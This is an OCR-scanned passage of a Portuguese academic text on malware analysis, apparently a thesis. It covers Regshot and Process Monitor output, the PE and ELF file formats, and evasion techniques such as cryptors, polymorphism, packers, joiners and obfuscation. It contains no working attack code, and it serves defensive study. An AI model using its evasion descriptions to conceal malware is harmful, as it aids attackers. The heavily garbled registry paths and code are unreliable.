capacitar a sua identificacdo como cédigo malicioso (ALVES, 2008).

As Figuras 6 e 7 sdo imagens do Regshot em execu¢do e um resultado obtido por ele,

respectivamente.

-

~ Regshot 1.8.2 mE x|

Zompare |ogs save as: 1st shat

" Plain TXT  * HTML document Q
[ Scan dirt[;dir2;...;dir nn]: Q
Dutput path: M
| CiiDocuments and Setkings ., m

add comment inta the log:

| English -

Figura 6: Fotografia do Regshot
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| ~res.txt - Notepad

File Edit Format View Help

Regshot 1.8.2 A
Comments:
Datetime:2011/68/24 18:59:50 , 2011/8/24 19:08:05

Computer :TESTMACHINES , TESTMACHINES
Username snapfiles , snapfiles

Keys added:29

HKLM\SOFTWARE\Classes'\*\shellex\ContextMenuHandlers\sugarsync
HKLM\SOF TWARE"\Classes\AppID\SimpleExXt.DLL
HKLM"\SOF TWARE\C]asses\AppID\{19B3F3E6-9650-4CF6-ADBF-2EBBG7 SDEBFO}
HKLM\SOF TWARE\C] asses \CLSID\ {0C4A2 58A-3F 36-4FFF-80A7 -OB3BEC139472}
HKLM\SOF TWARE\C]asses\CL5SIDY\{0C4A2 58A-3F36-4FFF-80A7-9B3BEC139472}\Inprocserver32
HKLM\SOF TWARE\C]asses\CLSID"{1574C9EF-7D58-488F-B358-8B78CL538F51
HKLM"\SOF TWARE\C]asses\CLSID\{1574COEF-7D58-488F-B358-8B878C1538F 51} \Inprocserver32
HKLM\SOF TWARE\C] asses \CL5SID\ {305BC11B-5175-492B-B569-866547FCDAL0}
HKLM\SOF TWARE\C]asses\CL5SIDY\{3056C116-5175-492B-B569-866547FCDA40}\Inprocserver 32
HKLM\SOF TWARE\C]asses\CLSID"{62CCD8E3-9C21-41E1-B55E-1E26DFC68511
HKLM"\SOF TWARE\C]asses\CLSID\{62CCD8E3-9C21-41E1-B55E- LEZGDFCGESLL}\Inprucserver32
HKLM\SOF TWARE\C] asses \CL5SID\ {A7 59AFF6-5851-457D-A540-FAECEDLA
HKLM\SOFTWARE\C]asses\CLSID\{A7 59AFF6-5851-457D-A540-| :4;(50148351}\Inprucserver32
HKLM\SOFTWARE"\Classes'\Folder'shel1ex\ContextMenuHand] ers'\sugarsync
HKLMY\SOF TWARE\M1crosoft\Tracing\sugarsyncManager _RASAPI32
HKLM\SOF TWARE'\M1 crosoft\Tracing\5ugar SyncManager _RASMANCS
HKLM\SOF TWARE\M1crosoft'\windows\currentversion\Explorer'shellIconoverlayIdentifiers\sug
HKLM\SOFTWARE M1 crosoft'\windows\currentversion\Explorer'shelliconoverlayIdentifiers\sug
HKLM"\SOF TWARE\M1crosoft\windows \Currentversion\Explorer\shelliconoverlayIdentifiers\sug
HKLM\SOF TWARE \M1 crosoft\Windows\Currentversion\Explorer'ShellIconover layIdentifiers\sug
HKLM\SOF TWARE " Sharpcast
HKLM\SBFTWARE\sharpcast\sugar
361
3

ync
545 9-1576718184-86624697-1000\sof tware'Microsoft\windows\Currentvers
381754579-1576718184 86624697 -1000\,50f twar e\Mi crosoft \Windows\CurrentVers
33817545 9-1576718184-86624697-1000"50f twar e\Microsoft\windows'\Currentvers
HKU\S-1-5-21-3381754579-1576718184-86624697-1000\Sof twar e'\sharpcast
HKU\S-1-5-21-3381754579-1576718184-86624697 -1000"sof tware'sharpcast'.sugarsync
HKUY\5-1-5-21-3381754579-1576718184-86624697-1000)Sof twar e'\Sharpcast5ugarsync'\General
HKUY\S5-1-5-21-3381754579-1576718184-86624697-1000"Sof twar e'\Sharpcast)5ugarsync’\LaunchAts

values deleted:2

HKUY\S-1-5-21-3381754579-1576718184-86624697-1000\software'\Classes'\Local settings'softwa
HKU\S-1-5-21-3381754579-1576718184-86624697-1000_cClasses‘\Local settings‘\software\micros _

< . 3

Figura 7: Resultado obtido pelo Regshot

Outro software bastante util é o Process Monitor, que possui uma lista de processos com

o horério que foram abertos, seu nome, a operagao realizada e o caminho do processo.

Com esta quantidade de informacdes, pode ser ttil (embora ndo completamente necessério
devido a existéncia de outras ferramentas mais completas) tanto na Andlise Comportamental

quanto na Engenharia Reversa. A Figura 8 mostra o ProcessMonitor em execugao.
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5 Process Monitor - Sysinternals: www.sysinternal

file Edit Event Fiiter Tools Options Help

GH ABEvA® Bl Ay EELEN

Time ... Process Name FID Cperation Fath Resut Detal o
1753, TAVGIDSAgent... 2468 B\Headﬁ\e C:\Windows'winsxs\FleMaps\8$_syste... SUCCESS (ffset: 84, Length u
1753... W AVGIDSAgent... 2468 B\Headﬂ\e C\Windows\winges\FleMaps\88 _syste... SUCCESS (ffeet: 25.288, Len
1753... T AVGIDSAgent... 2468 B\Headﬂ\e C:\Windows'winsxs\FleMaps\88 _syste... SUCCESS (ffset: 10.540, Len
1753.. T AVGIDSAgent... 2468 B\Headﬂ\e C\Windows\wingss\FleMaps\88_syste... SUCCESS (ffset; 13560, Len...
1753... TIAVGIDSAgent.. 2468 ShReadFie C\Windows\System32efc_ozdl SUCCESS Offset: 13312, Len
1753.... T TookarUpdater... 2244 B\Write Fle C\Windows\ System32corfig\SOFTW... SUCCESS Offset: 18432, Len
1753.... 1 TooarUpdater... 2244 BWME Fie C:\Windows\System32\corfig\SOFTW... SUCCESS (ffset: 22.528, Len
1753:... W senvices.exe i) ﬁHegOpenKﬁy HKLM\System'\CumentControlSet\servic. . SICCESS Deared Accese: R
1753... Wsenices e L] ﬁHegOuewVaIue HKLM\System'\CumentControlSet‘servic... NAME NOT FOUND Length: 268

1753.. W senvices.exe L] ﬁHegUoseKey HKLM\System'\CumentControl et servic. . SUCCESS

175%.. VbgoerXE 304 B\HIeSystemComm\ (\ProgramData‘Microsoft Windows\5t... SUCCESS Contral: FSCTL_R.
1753, UbpowBE MM ﬁHegOuewKey HKCU\Software\Classes SUCCESS Query: Name

1 HKCIJ\Software\Classes'CLSIDD002... NAME NOT FOUND Desred Access: R

1 HKCRACLSID\{00021401-0000-0000<... SUCCESS Desied Accass: R

1 HKCR\CLSID\{00021401-0000-0000€... SLCCESS Query: Name

1 HKCIJ\Software\Classes'CLSIDND002... NAME NOT FOUND Desred Access: M
1753 UbobeBE 2824 #ReclueyVahe HKCRACLSIDA{00021401-0000-0000-C... NAME NOT FOUND Lengh: 144
1753, VEploerEXE M E\Createﬂle C:\ProgramData'\Microsoft‘Windows\5t... SUCCESS Desied Access:G..
1753, VEgoerXE 1M E\Readﬂ\e (\ProgramData\Microsoft Windows 5t .. SUCCESS (ffset: 0, Length: 2
1753, U Bgloer X 384 E'\Createﬂle C\Windows\nstaler\(90120000-0030-.. SUICCESS Desied Access: R
1753.. Ubgloer EXE 3024 EmOueryEasiclrﬁomat\onH\e C\Windows\nstaler\{90120000-0030-.. SLICCESS CreationTime: 15/0
1753, VbgoerXE 34 E'\Uoseﬂ\e C\Windows\nstaler\(90120000-0030-.. SLICCESS

75 VEpomDE 324 ShCreateFle [ SUCCESS Desred Acoess: R
1753, TBpberBXE 3624 BhFieSystenContrl [ INVALID DEVICE ... Cortrol: FSCTL_L...
175%.. VbgoerXE 304 B QuenyDiectory C:\Windows SUCCESS Fiter: Windows, 1: ..
75 VbpoenDE 3824 ShCoseFie [ SUCCESS

1753, UbghrerBE 304 ACeateFle C\Windows SUCCESS Desied Access: R
1753 TbpbeBE 3824 BFleSysterControl C\Windows INVALID DEVICE ... Cortrol: FSCTL_L...
175%.. VbgloerEXE 3024 B cuenDirectry C:\Windows\Installer SUCCESS Fiter: Installer, 1: n...
1753, UbghrrDE 384 BACoseRe C\Windows SUCCESS

1753, U Bgloer X 384 E'\Createﬂle C\Windows\Installer'desktop ini NAME NOT FOUND Desied Access: G
1753.. Ubgloer EXE 3024 E\Createﬂle C:\Windows\Installer SUCCESS Desired Access: R
1783, TEnberBE 3824 ShFieSystenConirl C\Windows\ngtaler INVALID DEVICE ... Cortrol: FSCTL_L...
1753, Tibmber BXE 3824 Bhluen Diectory C\Windows\instaler{30120000-0030-... SUCCESS Fiter: (301200000
1753, UbghrerXE 3824 BACoseRe C\Windows\rtaler SUCCESS

1753, VbgoerXE 34 E'\Createﬂle C\Windows\nstaler\(90120000-0030-.. SLICCESS Desred Accass: R
1753, UbpowBE MM ;\F\IeSys!emCornm\ C:\Windows\ nstaler\{30120000-0030-... INVALID DEVICE ... Control: FSCTL L.
1753.. UVbgloer XE 3024 BhQuenDiectory C\Windows\nstaler\{90120000-0030-.. SLICCESS Fiter: wordicon xe.
175%.. VbgoerXE 304 gi\UoseF\\e C\Windows\nstaler\(90120000-0030-.. SLICCESS

1753, UbpowBE MM ﬁHegOuewKey HKCU\Software\Classes SUCCESS Query: Name

1753.. VEgloer XE 304 ﬁHegOpeﬂKey HKCU SoftwareClasses CLSIDV2000... NAME NOT FOUND Desired Access: R
1753 TbnbeBE 3824 #Reclpenkey HKCR\CLSID\{20D04FEQ-3AEA-1069-.. SLCCESS Desied Accass: R
1785 VepeBE 3824 §Recduenkey HKCR\CLSID\{20D04FEQ-3AEA-1069-.. SUCCESS Query: Name

1753, VEgoerXE 1M ﬂRegOpenKey HKCU SoftwareClasses!CLSIDV2000... NAME NOT FOUND Desired Accass: M
1753 TbnbeBE 3824 #ReclueyVahe HKCR\CLSID\{20D04FEQ-3AEA-1069-.. NAME NOT FOUND Lengh: 144

1753, TBpberE 3624 @ ReoCloseley HKCRACLSID\{Z0D04FEQ-3AEA-1069-.. SLCCESS

1753, VbgoerXE 34 ﬁHegOuewKey HKCLSoftwareClagses SICCESS Query: Name

1753, UbpowBE MM ﬁHegOpenKﬁy HKCIU\SoftwareClasses\CLSIDV20D0... NAME NOT FOUND Desied Access: R
75 VbgoerDE 384 gHegOpenKey HKCRACLSID\{20D04FEQ-3AEA-1069-.. SLCCESS Desred Accass: R 4
et oL Sl i LTLT in} It LUZonL ol cIny [AANOACEN AACA 400D INaaiel AL

Showing 142781 of 179.816 events (19%)

Backed by virtual memory

Figura 8: ProcessMonitor em execugcdo
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4 Engenharia Reversa

Em caso de insucesso da Andlise Comportamental, ou seja, da ndo detec¢do de algum
comportamento estranho do arquivo estudado, ou entdo de o analista querer estudar mais a
fundo a estrutura dele, € realizada a Anélise Estética, ou Engenharia Reversa, a qual € o estudo

do programa sem executé-lo. Esse tipo de andlise serd visto no decorrer desse capitulo.

4.1 Estrutura de Arquivos Executaveis

4.1.1 PE - Portable Executable Format (Windows)

Os PEs sdo os arquivos executdaveis do Windows, os quais podem ser bibliotecas de linka-
gem (DLL), componentes ActiveX (OCX), entre outros. A extensao mais conhecida que possui
esse tipo de estrutura é o EXE. Isso significa que o padrdo de todos esses arquivos € semelhante,

variando apenas em algumas fun¢des (BIRCK, 2007).

Serd dada maior atencdo aos arquivos .EXE, pois, além de serem os mais conhecidos, sao

também os que levam o formato PE da forma mais abrangente possivel.

O arquivo € organizado basicamente da maneira que segue:

e Cabecgalho DOS

Nao tem utilidade pratica dentro do sistema Windows. Serve apenas para apresentar
uma mensagem avisando o usudrio que o aplicativo em questio ndo pode ser utilizado em

modo texto.

e (Cabecalho Windows

E nele que estdo todas as informacdes basicas necessdrias para que o aplicativo funci-
one, como o nimero de se¢des, tamanho de cada secdo e inicio das mesmas, onde iniciar

a execucdo do cddigo, dentre dezenas de outras configuragdes.
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e Tabela de Secdes

Contém diversas informagdes referentes a cada uma das se¢des presentes no execu-
tavel, como o tamanho, endereco e caracteristicas. A quantidade de itens na tabela varia

dependendo do niimero de se¢des contidas no aplicativo.

Cada secdo € responsavel por uma caracteristica do PE. Seguem abaixo as se¢des

mais comuns:

— Secdo de codigo - Code Section (.text ou .code)
Dentro desta secdo fica armazenado o c6digo compilado do aplicativo, contendo
todas as instrucdes em assembly para o funcionamento do programa. Qualquer al-
teragdo feita no c6digo de um aplicativo vai resultar numa mudanga dos dados pre-

sentes dentro deste trecho do arquivo.

— Secdo de recursos — Resource Section (.rsrc)
Esse trecho € utilizado para armazenar qualquer outro tipo de dado dentro de
um executdvel. Nela ficam armazenados os icones, imagens, disposi¢do dos itens na

janela, menus, etc.

— Sec¢do de dados — Data Section (.data)

Essa secdo pode ser subdivida em 3 outras se¢des, sendo elas:

x BSS
Contém todas as varidveis ndo inicializadas (sem um valor definido) do
aplicativo.
x RDATA

Dados de somente leitura.
* DATA
Todas as outras varidveis que ndo se encaixam em nenhuma das duas outras
secoes.
— Secdo de exportagdo — Export data section (.edata)

Armazena o diretério de exportacdo, contendo informagdes sobre os nomes e

enderecos das fungdes contidas em uma DLL.

Os arquivos DLL podem ser definidos por dois tipos de fungdes: internas e
externas. As externas podem ser chamadas por qualquer outro médulo. Ja as funcdes
internas ficam restritas a0 médulo principal da mesma.

As DLLs nos dao a possibilidade de “modularizar” aplicativos, contendo fun-
coes genéricas que podem ser utilizadas por qualquer programa. Um bom exemplo
disso € o proprio Kernel do Windows, que € subdividido em diversas DLLs que

controlam o sistema (kernel.dll, user32.dll, gdi32.dll, entre outras).
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— Secdo de importagdo - Import data section (.idata)

Esta secdo funciona de forma semelhante a anterior. Ao invés de ser voltada para
os arquivos DLL (como a de exportagdo), a secdo de importacao tem a finalidade de
montar um banco de dados de todas as fung¢des utilizadas por um executavel, assim
como o endereco e as caracteristicas de cada rotina importada. Seria como dizer que
a secdo de exportacdo “fornece” funcdes para o uso e a de importacdo “busca” essas

funcdes exportadas.

— Informacdes de debug - Debug information (.debug)
Presente normalmente nas compilagdes de aplicativos em estdgio de desenvol-
vimento, essa se¢do contém dados uteis para o programador, que podem o auxiliar

no tratamento de erros.

Alguns valores encontrados nos cabecalhos dos PEs podem significar que o arquivo é

malicioso, como:

e Chamadas ao TLS

O TLS (Thread Local Storage) é a estrutura responsdvel por manter a separacao de
dados entre as diferentes threads de um mesmo processo. As rotinas de inicializacdo do

TLS sdo chamadas antes do ponto de entrada, no momento de criagao dos threads.

Dessa forma, as chamadas ao TLS sdo fungdes executadas antes do breakpoint inicial

dado pelos debuggers, sendo, assim, utilizadas para checagem anti-debuggers.

e Diretdérios de recurso

Podem conter tipos de dados arbitrdrios, como icones, cursores € configuragdes. A
presenca de arquivos executdveis nesse diretério pode indicar que o malware vai criar um

outro terndrio e executd-lo em tempo de execucao.

e Secdes de ponto de entrada suspeitas

Essas secdes contém o endereco do entrypoint do arquivo, o qual, em arquivos nao
empacotados e legitimos, normalmente € localizado em se¢des nomeadas .code ou .text.
Caso o entrypoint resida em alguma se¢do desconhecida, € provavel que o arquivo nao

seja legitimo ou entdo empacotado.

e SecOes com tamanho bruto em disco valendo zero

O tamanho bruto em disco € a quantidade de bytes que uma se¢do possui no arquivo
no disco. A razdo mais comum para uma sec¢ao possuir tamanho bruto zero no disco, mas
maior que zero na memoria, € que os empacotadores decriptam as instru¢des ou dados

para dentro da secao em tempo de execugao.
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e Secdes com entropia extremamente alta ou baixa

A entropia € um valor entre zero e oito que indica o indice de aleatoriedade dos dados.
Dados encriptados ou comprimidos tipicamente possuem alta entropia, enquanto que uma

cadeia muito longa de um mesmo caractere possui baixa entropia.

Com o célculo da entropia, pode-se ter uma boa ideia de que se¢des do arquivo podem

conter c6digo comprimido ou anormal.

4.1.2 ELF - Executable and Linking Format (Linux)

O ELF € o padrao para arquivos executaveis utilizado na maioria dos sistemas operacionais
UNIX, dentre eles o GNU/Linux. Inicialmente desenvolvido para para o System V Unix, da
AT&T, na década de 1980.

A estrutura dos arquivos ELF é formada por um cabegalho ELF, um conjunto de cabe-
calhos de programa e um conjunto de secodes, além da tabela de cabecalhos de secdes. A sua

ordenacdo ¢é verificada na Figura 9.

ELF Header

Program Header Table

‘ . Section .text
(machine executable instructions) ™

\ Section init I

\ \ \
\ Section .data ™ % 0
W (global initialized variables) \ %

\ Section .bss g .‘-\ |
(global uninitialized variables) \ \; |

Section Header Table

Figura 9: Estrutura do padrdo ELF

O cabecalho ELF contém a informacao sobre o tipo de arquivo(PRADO, 2010) (objeto, exe-
cutdvel ou biblioteca. Neste trabalho, apenas os executdveis serdo abordados). E no cabecalho
ELF que encontram-se as informacdes gerais sobre todo o arquivo, tais como a arquitetura-alvo,
a versdo de ELF utilizada e localizacdo e nimero dos cabegalhos de programa e das se¢des. O
cabecalho ELF também contém a localizacdo da primeira instru¢do a ser executada, chamada
de ponto de entrada (do inglés, “entry point”). Por estes motivos, o cabecalho ELF sempre é

posto no comeco do arquivo executdvel.

Os cabecalhos de programa descrevem cada um uma secao do arquivo, dando informacdes
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como a sua localiza¢do ao dentro do arquivo, seu tamanho, seu endereco de destino esperado
na memoria e as tags de protecao (leitura, escrita e execucdo) que devem ser aplicados a essa

secdo quando ela estiver carregada na memoria (PAZ, 2006).

A tabela de cabecalhos de secdes possui as informagdes sobre a localizac@o das se¢des do

programa (PRADO, 2010).

4.1.2.1 Cddigo do ELF

O cd6digo nos executdveis ELF € realocdvel, ou seja, ele ndo precisa ser ajustado para a
posicdo de memoria para onde foi carregado, como € o caso dos PE quando eles s@o carregados
em enderecos diferentes daqueles para os quais foram compilados. Esse tipo de cédigo realo-
cavel também é chamado de Cédigo Independente de Posi¢cao (Position Independent Code ou

PIC). Isso traz uma vantagem importante quando se trata de reutilizacao.

No ELF e no PE, quando a sec¢do de cédigo de uma biblioteca dindmica e mapeada no
espaco de enderecamento de um programa, o carregador verifica se na memoria fisica ja existe
uma pagina com este mesmo cddigo. Se existir, ao invés de criar uma copia separada para
o programa, o carregador mapeia aquela pdgina fisica da memoria para dentro do espaco de
memoria virtual do programa. Isso faz com que uma biblioteca dinamica, que seja utilizada por
quase todos os programas, exista na memdria fisica apenas uma vez. [sso economiza espaco na

memoria e tempo (PAZ, 2006).

4.2 Técnicas para Dificultar a Identificacao do Malware

No intuito de dificultar ou até mesmo impedir a andlise e a detec¢ao de uma malware por
parte de um antivirus, o desenvolvedor da praga utiliza varios artificios, os quais vao de uma

simples criptografia de c6digo a utiliza¢do de ofuscadores.

A seguir, algumas técnicas dessa natureza serdo abordadas (MELO; AMARAL; SAKAKI-
BARA, 2011).

4.2.1 Cryptors

Os cryptors sdo responsaveis por criptografar o cddigo malicioso.

Essa técnica possui caracteristicas similares a dos packers, mas, em vez de comprimir um
arquivo, utiliza-se de algoritmos criptograficos para esconder um dado cédigo e, assim, dificul-
tar a andlise estética do arquivo e até mesmo impedir sua identificagdo por parte de antivirus, ja

que sua assinatura, conhecida por este, ndo aparece de forma clara.
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A decifracdo do c6digo ocorre de maneira semelhante a dos packers. Uma funcao inversa
de decifracdo € acoplada ao cédigo e € chamada em tempo de execucdo (processo ja executado

em memoria).

O processo de decriptacdo € ilustrada nas figuras 10 e 11 (CARDOSO, 2011).

1. Count = #VirusBytes
2. Temp = FetchNextByte | #«——— Virus Decryption Routine
3. Temp = Decrypt(Temp)
4. StoreNextByte(Temp)
——»( 5. Decrement Count
6. If Count>0, GOTO 2
7. 57 g@ grgln1gn g0 10 —— Encypted Virus Body
[E@%sl@kl@%l@#
/9. SERITI#&# 1% 1#

/
First Decrypted Byte

Figura 10: Decifracdo no momento da execucdo

1. Count = #VirusBytes
2. Temp = FetchNextByte | «———— Virus Decryption Routine
3. Temp = Decrypt(Temp)
4. StoreNextByte(Temp)
5. Decrement Count

6. If Count>0, GOTO 2
7. Search for an EXE file [« Decypted Virus Body
8. Change the attributes. ..
9. Open the file...

Figura 11: Malware decifrado

4.2.2 Virus Polimorficos

Como o préprio nome ja diz, um virus polimérfico € aquele que apresenta diversas formas.
Isso significa que, a cada infeccdo feita, uma forma diferente da praga virtual € encontrada no

computador da nova vitima.

O virus ndo possui uma assinatura propria, dificultando o trabalho de detec¢do por parte
dos antivirus, que o procuram com a chamada “mdscara de virus” (partes do codigo especifico

do virus ndo modificavel) (BECEIRO, 2008).
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Essas variacdes do cddigo sdo criadas principalmente de duas maneiras: utilizando-se uma

chave ndo constante na criptografia do cédigo principal do malware com conjuntos aleatorios

de decriptacao ou entdo pela modificagdo do cédigo executavel do virus.

Isso € conseguido principalmente de duas maneiras: pela criptografia do cédigo principal

do virus com uma chave diferente a cada infec¢do com conjuntos aleatérios de comandos de

decriptografia ou pela modificacido do cédigo executavel do virus.

4.2.2.1 Niveis de Polimorfismo

De acordo com a complexidade do cédigo de seus decriptadores, foi criada uma divisdao

em niveis dos virus polimorficos (BECEIRO, 2008):

Nivel 1

Virus com um conjunto de decriptadores com cédigo constante. E escolhido um deles

para a infecc¢do.

Sdo chamados de “semipolimérficos” ou “oligomdrficos”.

Nivel 2

O decriptador contém uma ou diversas instru¢des constantes, o restante pode ser mo-
dificado.
Nivel 3

O decriptador contém funcdes nao utilizadas.

Nivel 4

O decriptador utiliza instru¢des intercambidveis e modifica sua ordem (mistura de
instrugdes). O algoritmo de decriptacao permanece inalterado.
Nivel 5

Todas as técnicas anteriormente mencionadas sdo utilizadas, o algoritmo de decrip-
tacdo € modificdvel, a criptografia repetida do cédigo do virus e mesmo a criptografia

parcial do decriptador sdo possiveis.

Nivel 6

O codigo principal do virus estd sujeito a mudancas, é divido em blocos que sdo
posicionados em ordem aleatéria durante a infec¢do. Apesar disso, o virus continua a

poder trabalhar. Pode ser decriptografado.

Sdo chamados de “virus de permutacio”.
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4.2.3 Packers

Os packers sao compressores de arquivos executdveis. Quando compactados, os arquivos
executdveis ndo executam suas fungdes primdrias, o que faz necessario o conhecimento de uma
rotina de descompressao antes do malware ser carregado na memoria, normalmente inclusa no

final do arquivo comprimido, ilustrado na Figura 12.

Packer/ Descompressao
Cryptor [ Decriptagao
, \
e | Metodomde \ Progfama
E ; compressio ou | Executavel em
xecutavel — - — ‘e
I ofuscagéo / Cryptor / Memoria

Figura 12: Criacdo e execucdo de arquivos comprimidos ou encriptados

Caso um analista deseje estudar o c6digo do virus, deve-se ter conhecimento de que o
arquivo comprimido necessita, normalmente, de um programa especifico (unpacker) para o
descomprimir. Dificilmente esse programa é o mesmo que o comprimiu. Dessa forma, ele deve
tomar cuidado ao baixar esse descompressor, pois, em muitas vezes, esse pode ser também um

malware.

Como exemplo de uma ferramenta bastante ttil, o PEiD € um utilitario que escaneia arqui-
vos executdveis portdveis em busca de packers, cryptors e compiladores, e é capaz de detectar
mais de 470 assinaturas diferentes nos arquivos. Além do modo de procura basico, ele também
possui op¢des de modos especiais de detec¢do, procura recursiva em arquivos e diretdrios, es-
caneamento heuristico e outras técnicas para encontrar as assinaturas. A sua base de assinaturas

¢ publica e pode ser utilizada na implementacao de escaneadores proprios.

Seguem, na Figura 13, exemplos de packers e de seus respectivos unpackers.

Packers Unpackers
UPX UPX Unpacker
ASPack ASPackDie
MEW UnMew
FSG UnFSG
PECompact UnPECompact

Figura 13: Exemplos de Packers e de seus respectivos Unpackers

Em muitos casos, o cddigo do malware pode ser comprimido utilizando-se packers distin-
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tos, gerando um virus polimérfico (visto acima), ja que existird uma assinatura diferente para

cada compressao.

4.2.4 Joiners

Os joiners sao utilizados para unir dois ou mais arquivos em um, o0 que os faz serem

executados simultaneamente.

Usado por atacantes, por exemplo, quando deseja-se enviar um arquivo licito combinado
com um malware, como um keylogger. A praga € instalada sem que o usudrio tenha conheci-

mento e sem nenhuma interag@o por parte desse, denominada “instalacdo silenciosa”.

4.2.5 Ofuscadores

Basicamente, ofuscar um cédigo X € transforméa-lo em um cdédigo X’ muito mais com-
plexo que seja executado da mesma forma que o original. Essa maior complexidade serve,

justamente, para dificultar a compreensao por parte do analista do codigo.

As principais técnicas para essa modificagdo do c6digo sdo:

e trocar nomes de varidveis e funcdes;

e remover identagdo, espacos, tabs, quebra de linhas, comentarios;
e inserir pedacos de codigo redundantes;

e inserir loops sem efeito;

e alterar blocos de c4digo;

e alterar fluxo de controle;

e quebrar ou agrupar fungdes;

e compressao/criptografia.



Pode-se notar no c6digo abaixo a utilizagdo de técnicas de ofuscagao:

e Antes
inti=0;

while (i < 1000) {

LA L
14++;
}

e Depois
inti=11;

while (1 < 8003) {
.. A[(-3)/8] ...

1+=8;

Na Figura 14, sdo representados um cédigo original e seu respectivo cddigo ofuscado.

Para a ofuscacdo, foi utilizado o software Free Javascript Obfuscator (INC., 2010).

[function ecultar_display(div_id) {
el = $(div_id);
if cel) {
if (el.style.display == "none") {
el.style.display = "";

}oelse {
el.style.display = "none”;
}
}
It

function ocultar_displayzoom{div_id) {
if (closezoom 1= "") {
closezoom.style.display = "none";
}
closezoom = $(div_id);

el = $(div_id);
if Cel) {
if (el.style.display == "none") {
el.style.display = "";

}oelse {
el.style.display = "none”;

1
i3

[Function ocultar_display_fade(div_id, only_shew) {
el = $(div_id);
if el) {
if Cel.style.display == "none") {
if Conly_show I= 1) {
el.style.display = "";

} else {
el.style.display = "none”;

Figura 14: Exemplo de codigo original e seu respectivo codigo ofuscado com o software Free Javascript

Obfuscator (INC., 2010)

Free Javascript Obfuscator

Protects JavaScript code from stealing and shrinks size

_var_d46060398f8bebcchfef fOfcodce238=0;var
_var_69506ceb26d24943afaf1d22320d1450-0; _var_fb445901f00c2bbcalcE5b314c9
7deee[1]=_var_be4c78549fbf39ba579a82511cffdéc?; _var_fb445901f@0cZbbcalces
b314c97deee[2]~_var_f4751cc7cfbd3670adad1084b41 fedfa; _var_fba45901f0dcZbb
ca3ch5b314c97deee[3]=_var_f4751cc7cfbd367andad1084b41fedfa; _var_fba45901f
BBcZbbcalce5b314c97deece[4]=_var_f4751cc7cf6d367aada41084b41Fedfa; _var_fb4
45991 f@@cZbbca3chsb314cd7deee[5]~_var_f4751lcc7cfed3i67aadad 1084bal Fedfa; _v
ar_fb4459@1f0@c2bbca3ct5b314c97deee[6]=_var_bbea8c5c9840209a089ba%a25445F
167; function
acultar_display(_éxa78ex5e){el-5(_@xa78ex5e);if(el){if(el[_@xa%@3[5]][_0
Q3 [4]]==_0xa903[6]){el [_0xa903[5]][_@xa%03[4]]-_0xa9@3[@];} else
@xa203[5]1[_@xa2@3[4]]-_0xa%03[6];} ;} ;} ;function
.tar_displayzoom(_@xa7fex5e){if(_var_92fd34b354d80fa@1732c242d8%ddeb
s Bxa9@3[@]){_var_92fd34b354d80fa@1732c242d8%ddeb[_0xa903[5]] [_@Oxa9@3[4
11-_8xc903[6];}
s ovar _92fd34b354d80F 001732c242d8%0ddeb-5(_Bxa78ex5e) ;el=3(_@xa78ex5e); if
Cel){if(el[_@xa983[5]][_8xa%@3[4]]==_@xa303[6]){el[_@xa%03[5]] [_0xa983[4]
J=_@xa003[0];} else {el[_@xa9@3[5]1]1[_@xa%@3[4]]-_0xa3[6]1;} ;} ;}
; function
ocultar_display_fode{_@xo8ex5e, _@xa78exbl){el=3{_Bxa?B8ex5e);if(el){if(e
1[_@xa9@3 [5]][_8xa9@3[4] ]==_0xa9@3[6]){if(_Oxa78ex6l!=1){el[_Bxad@3[S]][_
Bxa993[4]]-_0xa903[8];} ;} else {el[_@xa%@3[5]][ Bxa903[4]]-_Bxa9@3[6];}
i} 3} ;function
ocultar_display_show(_@xo78ex5e){el-3(_@xa78ex5e) ;if(el){el [_@xa9@3[5]]1[
_Oxa903[4]]=_0xa9@3[@];} ;} ;function
ocultar_display_dis(_@xa78ex5e){el-5(_Oxa78ex5e);if(el){el[_@xa2@3[51]1[_
@xa%03[4]]-_0xa%903[6];} ;} ;function

http:/iwww.javascriptobfuscator.com/Default.aspx
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Na Figura 15, € representado um cédigo ofuscado que fez parte do International Obfusca-
ted C Code Contest (abreviada IOCCC), concurso de programagdo em C que premia os autores

dos cédigos mais ilegiveis na linguagem.

op B,
D,A=G,Z + Sul@l, v
2,n=-2,W-402 JH=388,a[7]
={ 33,99, 165, 231,297,363} ;
XGCValues G={ 6,8 »—8L.28.,1} ; short
TO={ ©,309,-20,0,.4 »-20,4,108,4,-5,4,5,

4,-20,4,20,4,-5,4,5,4, -1e.4.2e}.6[]={ 8,08.4,

D, 4,4, -4,-4,4,-4,4,4} ; € L[222],I[222];dCC0 xX{
M(T,alx] ,H,123; } Ne(C 1,0 5) { l.f=l.g=l; 1l.b=l.u=s;
l.t=16; L.e=8; U; } nL(O t,0 @,0 b,0 x,0 ¥,0 5,0 p3{ C 1;

l.d=ld; 1.Fms; Ll.t=k; y-=l.c=b; l.e=ste=Z?fxip; x-=l.s=0;s5=(x]1)
X2%x; t=(y11)02%; 1. u=(o=s>t?s: >0 1. o= x<<B) a; 1. b=(y=<0)/a;
U; } diCC IX{ O p,q.r.s,i=222;C 1; BuDu@; R i==){ l=L[i]; Y>7){ p=I.s
-1.5>>9; g=I.c-l.c>>9; r=l.t==B?L._b: l.a; s=p®p+q*q; if(s<r*rlll. t==28Es<
26) F 5+=10; 5=(20<<2)/(s|1); B+=p®s; De=g®s; }} F @7 } hiC0 x,0 d){ O i=A;
R i--8&(x<ali]-dllx=ali]+d))d; F i; } dLgd{ 0 c,r=8, i=222 h; C 1; R i--){ 1=L[i];
VM resjoml.f; Yeu3d{cel.u; 1.t=d; E; IR e--2{ l.ushel. cx=9; Y>7){XDrowArc(d,w.g,
(l.5>>8)-++1.a,h-1.0,1.0%2,1.0%2,8 ,9@<<B); ifCI1.ud{ Ifi).t-=8; 1=I[i]; } } else Y==2)M
Cb,1l.2»>9,h,6); else XDrowPoint(d W, 8, (L. se=l_ad»>>0, he(l.ce=l.b)»>0); Ye=dB&I1l.ud{ Ne
C1,283; K; } YEEL.t<3BEC(HH (1)1 1h= H)2{ if{h=HEE(c=hi( 1.5>>9,25) )>-=08){ dC{c); alcl=al--
Al; IMe(Cl,38); Ye=1){ E;K; } else c=l.t=@;} Y==iE&h<H -7S8RINCp*77)){ do{ nL(1,1.s,l.c,
N{W<<3) He<9 1, i+
13; I[i].d+s;
R NC3D
2 K:

liu=c; c=8; } Y
wu2){ 1.s+=l.ceB;
l.a= (l.e-1.s)/C(H+
20-h)11); 1.ce=l.b+D;
M(o,1.s>>8,1.c>>9,6); } The International Obfuscated C Code Contest
FLOD=L; 3} Foes 3 20O
R AY { XFlush{d}; vBi&sleep(
